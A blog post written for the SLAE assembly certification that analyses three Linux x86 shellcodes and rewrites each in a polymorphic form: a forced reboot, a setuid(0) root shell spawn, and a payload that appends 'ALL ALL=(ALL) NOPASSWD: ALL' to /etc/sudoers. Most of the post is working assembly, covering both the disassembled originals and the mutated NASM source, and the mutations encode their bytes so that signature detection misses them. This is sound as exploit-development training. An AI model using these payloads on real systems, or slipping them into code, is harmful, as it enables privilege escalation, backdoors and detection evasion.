Shellcode Polymorphism Examples

In this blog post I will transform three Linux Intel x86 shellcodes via polymorphic patterns.

1. Linux/x86 Force Reboot shellcode

Link to original shellcode: http://shell-storm.org/shellcode/files/shellcode-831.php

Original shellcode with analysis

00000000  31C0              xor eax,eax             ; zeroing eax
00000002  50                push eax                ; stack content(hex): 00
00000003  68626F6F74        push dword 0x746f6f62   ; stack content(hex): 62 6f 6f 74 00
00000008  686E2F7265        push dword 0x65722f6e   ; stack content(hex): 6e 2f 72 65 62 6f 6f 74 00
0000000D  682F736269        push dword 0x6962732f   ; stack content(hex): 2f 73 62 69 6e 2f 72 65 62 6f 6f 74 00 => "/sbin/reboot0x00"
00000012  89E3              mov ebx,esp             ; ebx points to "/sbin/reboot0x00"
00000014  50                push eax                ; stack content(hex): 00 00 00 00 2f 73 62 69 6e 2f 72 65 62 6f 6f 74 00
00000015  66682D66          push word 0x662d        ; stack content(hex): 2d 66 00 00 00 00 2f 73 62 69 6e 2f 72 65 62 6f 6f 74 00
00000019  89E6              mov esi,esp             ; esi points to 2d 66 00 00 00 00 2f 73 62 69 6e 2f 72 65 62 6f 6f 74 00
0000001B  50                push eax                ; stack content(hex): 00 00 00 00 2d 66 00 00 00 00 2f 73 62 69 6e 2f 72 65 62 6f 6f 74 00
0000001C  56                push esi                ; stack content(hex): &esi 00 00 00 00 2d 66 00 00 00 00 2f 73 62 69 6e 2f 72 65 62 6f 6f 74 00
0000001D  53                push ebx                ; stack content(hex): &ebx &esi 00 00 00 00 2d 66 00 00 00 00 2f 73 62 69 6e 2f 72 65 62 6f 6f 74 00
0000001E  89E1              mov ecx,esp             ; ecx points to &ebx &esi 00 00 00 00 2d 66 00 00 00 00 2f 73 62 69 6e 2f 72 65 62 6f 6f 74 00
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; (gdb) x/16wx $ecx
; 0xbffff2aa: 0xbffff2bc  0xbffff2b6  0x00000000  0x0000662d
; 0xbffff2ba: 0x732f0000  0x2f6e6962  0x6f626572  0x0000746f
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
00000020  B00B              mov al,0xb              ; invoke system call execve()
00000022  CD80              int 0x80                ; invoke system call execve()

This shellcode executes /sbin/reboot command via execve() system call stack method. Shellcode length is 36 bytes.

Mutated shellcode with analysis

; File: shellcode_1_force_reboot_mutated.nasm
; Author: Petr Javorik

global _start

section .text

_start:

    xor edx, edx
    push edx
    push 0xe8dedec4             ; 0xe8dedec4 bitwise shift -1 is 0x746f6f62
    ror dword [esp], 1          ; shift back to 0x746f6f62
    push 0xcae45edc             ; 0xcae45edc bitwise shift -1 is 0x65722f6e
    ror dword [esp], 1          ; shift back to 0x65722f6e
    push 0xd2c4e65e             ; 0xd2c4e65e bitwise shift -1 is 0x6962732f
    ror dword [esp], 1          ; shift back to 0x6962732f
    mov ebx,esp
    push edx
    push word 0x805c            ; 0x805C - 0x1a2f = 0x662d
    sub word [esp -0x4], 0x1a2f ; 0x805C - 0x1a2f = 0x662d
    mov edi, esp                ; change esi to edi
    push edx
    push edi                    ; change esi to edi
    push ebx
    mov ecx, esp
    mov eax, edx                ; added instruction
    mov al, 0xb
    int 0x80

Mutated shellcode has size of 54 bytes which is 50% more than original shellcode.

2. Linux/x86 sys_setuid(0) & sys_setgid(0) & /bin/sh shellcode

Link to original shellcode: http://shell-storm.org/shellcode/files/shellcode-631.php

Original shellcode with analysis

00000000  EB19              jmp short 0x1b              ; jmp-call-pop pattern
00000002  31C0              xor eax,eax                 ; zeroing eax
00000004  B017              mov al,0x17                 ; eax=0x17
00000006  31DB              xor ebx,ebx                 ; zeroing ebx
00000008  CD80              int 0x80                    ; invoke system call 0x17(23), setuid(0)
0000000A  31C0              xor eax,eax                 ; zeroing eax
0000000C  B02E              mov al,0x2e                 ; eax=0x2e
0000000E  31DB              xor ebx,ebx                 ; zeroing ebx
00000010  CD80              int 0x80                    ; invoke system call 0x2e(46), setgid(0)
00000012  31C0              xor eax,eax                 ; zeroing eax
00000014  B00B              mov al,0xb                  ; eax=0xb
00000016  5B                pop ebx                     ; ebx points to 2F62696E2F7368 = "/bin/sh"
00000017  89D1              mov ecx,edx                 ; ecx=0
00000019  CD80              int 0x80                    ; invoke system call 0xb(11), execve("/bin/sh", 0, 0)
0000001B  E8E2FFFFFF        call dword 0x2              ; load 00000020 into stack, jump to 00000002
00000020  2F                das                         ; jmp-call-pop data "/bin/sh"
00000021  62696E            bound ebp,[ecx+0x6e]        ; jmp-call-pop data "/bin/sh"
00000024  2F                das                         ; jmp-call-pop data "/bin/sh"
00000025  7368              jnc 0x8f                    ; jmp-call-pop data "/bin/sh"

This shellcode sets effective UID and effective GID of current process to 0 and then invokes /bin/sh via execve() system call. Shellcode length is 39 bytes.

Mutated shellcode with analysis

; File: shellcode_2_setuid_gid_sh_mutated.nasm
; Author: Petr Javorik

global _start

section .text

_start:

        jmp short getdata

interrupt:              ; added calls to interrupt

        int 0x80        
        ret

run:

        xor esi, esi    ; change zeroing eax method
        mul esi         ; change zeroing eax method
        mov ecx, edx    ; changed mov ecx, edx place 
        mov al, 0x17
        mov ebx, esi    ; changed instruction to zero ebx
        int 0x80

        mul esi         ; change zeroing eax method
        mov ebx, eax    ; change place and zeroing instruction
        mov al, 0x2e
        call interrupt

        pop ebx         ; changed pop ebx place
        mul esi         ; change zeroing eax method
        mov al, 0xb
        mov edi, ebx
loop:
        sub byte [edi], 0x41    ; sub 0x41 from every data byte
        jz break
        inc edi
        jmp short loop
break:
        jmp short interrupt

getdata:

        call run
        data db 0x70, 0xA3, 0xAA, 0xAF, 0x70, 0xB4, 0xA9, 0x41  ; add 0x41 to every data byte

Mutated shellcode has size of 58 bytes which is 50% more than original shellcode.

3. Linux/x86 edit /etc/sudoers for full access shellcode

Link to original shellcode: http://shell-storm.org/shellcode/files/shellcode-62.php

Original shellcode with analysis

00000000  31C0              xor eax, eax                ; zeroing eax
00000002  50                push eax                    ; stack content(hex,dword): 00000000
00000003  686F657273        push dword 0x7372656f       ; stack content(hex,dword): 7372656f 00000000
00000008  682F737564        push dword 0x6475732f       ; stack content(hex,dword): 6475732f 7372656f 00000000
0000000D  682F657463        push dword 0x6374652f       ; stack content(hex,dword): 6374652f 6475732f 7372656f 00000000 (cte/ dus/ sreo) => /etc/sudoers
00000012  89E3              mov ebx, esp                ; ebx points to "/etc/sudoers"
00000014  66B90104          mov cx, 0x401               ; ecx=0x401
00000018  B005              mov al, 0x5                 ; eax=0x5
0000001A  CD80              int 0x80                    ; invoke system call 0x5 open("/etc/sudoers", O_WRONLY|O_APPEND)
0000001C  89C3              mov ebx,eax                 ; load file descriptor to ebx
0000001E  31C0              xor eax,eax                 ; zeroing eax
00000020  50                push eax                    ; stack content(hex,dword): 00000000
00000021  68414C4C0A        push dword 0xa4c4c41        ; stack content(hex,dword): 0a4c4c41 00000000
00000026  6857443A20        push dword 0x203a4457       ; stack content(hex,dword): 203a4457 0a4c4c41 00000000
0000002B  6850415353        push dword 0x53534150       ; stack content(hex,dword): 53534150 203a4457 0a4c4c41 00000000
00000030  6829204E4F        push dword 0x4f4e2029       ; stack content(hex,dword): 4f4e2029 53534150 203a4457 0a4c4c41 00000000
00000035  6828414C4C        push dword 0x4c4c4128       ; stack content(hex,dword): 4c4c4128 4f4e2029 53534150 203a4457 0a4c4c41 00000000
0000003A  68414C4C3D        push dword 0x3d4c4c41       ; stack content(hex,dword): 3d4c4c41 4c4c4128 4f4e2029 53534150 203a4457 0a4c4c41 00000000
0000003F  68414C4C20        push dword 0x204c4c41       ; stack content(hex,dword): 204c4c41 3d4c4c41 4c4c4128 4f4e2029 53534150 203a4457 0a4c4c41 00000000
                                                        ;                            LLA     =LLA     LLA(     ON )     SSAP      :DW     \nLLA
                                                        ;                           ALL ALL=(ALL) NOPASSWD: ALL/n
00000044  89E1              mov ecx, esp                ; ecx points to "ALL ALL=(ALL) NOPASSWD: ALL/n0x00"
00000046  B21C              mov dl, 0x1c                ; edx=0x1c
00000048  B004              mov al, 0x4                 ; eax=0x4
0000004A  CD80              int 0x80                    ; invoke system call 0x4 write(fd, "ALL ALL=(ALL) NOPASSWD: ALL/n", 0x1c(28))
0000004C  B006              mov al, 0x6                 ; eax=0x6
0000004E  CD80              int 0x80                    ; invoke system call 0x6 close(fd)
00000050  31DB              xor ebx, ebx                ; zeroing ebx
00000052  B001              mov al, 0x1                 ; eax=0x1
00000054  CD80              int 0x80                    ; invoke system call 0x1 exit(0)

This shellcode adds “ALL ALL=(ALL) NOPASSWD: ALL/n” line to /etc/sudoers which allows any user to sudo without password. Shellcode length is 86 bytes.

Mutated shellcode with analysis

; File: shellcode_3_edit_sudoers_mutated.nasm
; Author: Petr Javorik

global _start

section .text

_start:

    jmp short getdata

run:

    ; open("/etc/sudoers", O_WRONLY|O_APPEND)
    pop ebx
    mov byte [ebx +12], cl      ; insert NULL terminator
    mov byte [ebx +40], 0xa     ; insert \n
    mov cx, 0x401               ; O_WRONLY|O_APPEND
    push 0x5
    pop eax
    int 0x80

    ; write(fd, "ALL ALL=(ALL) NOPASSWD: ALL/n", 0x1c(28))
    lea ecx, [ebx +13]
    mov ebx, eax
    push 0x1c
    pop edx
    push 0x4
    pop eax
    int 0x80

    ; close(fd)
    push 0x6
    pop eax
    int 0x80

    ; exit(0)
    push 0x1
    pop eax
    int 0x80

getdata:

    call run
    data1: db "/etc/sudoers", 0xaa
    data2: db "ALL ALL=(ALL) NOPASSWD: ALL", 0xaa

Mutated shellcode is JMP-CALL-POP version of the original shellcode and has size of 88 bytes which is about 2.32% increase.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE-1443

Leave a Reply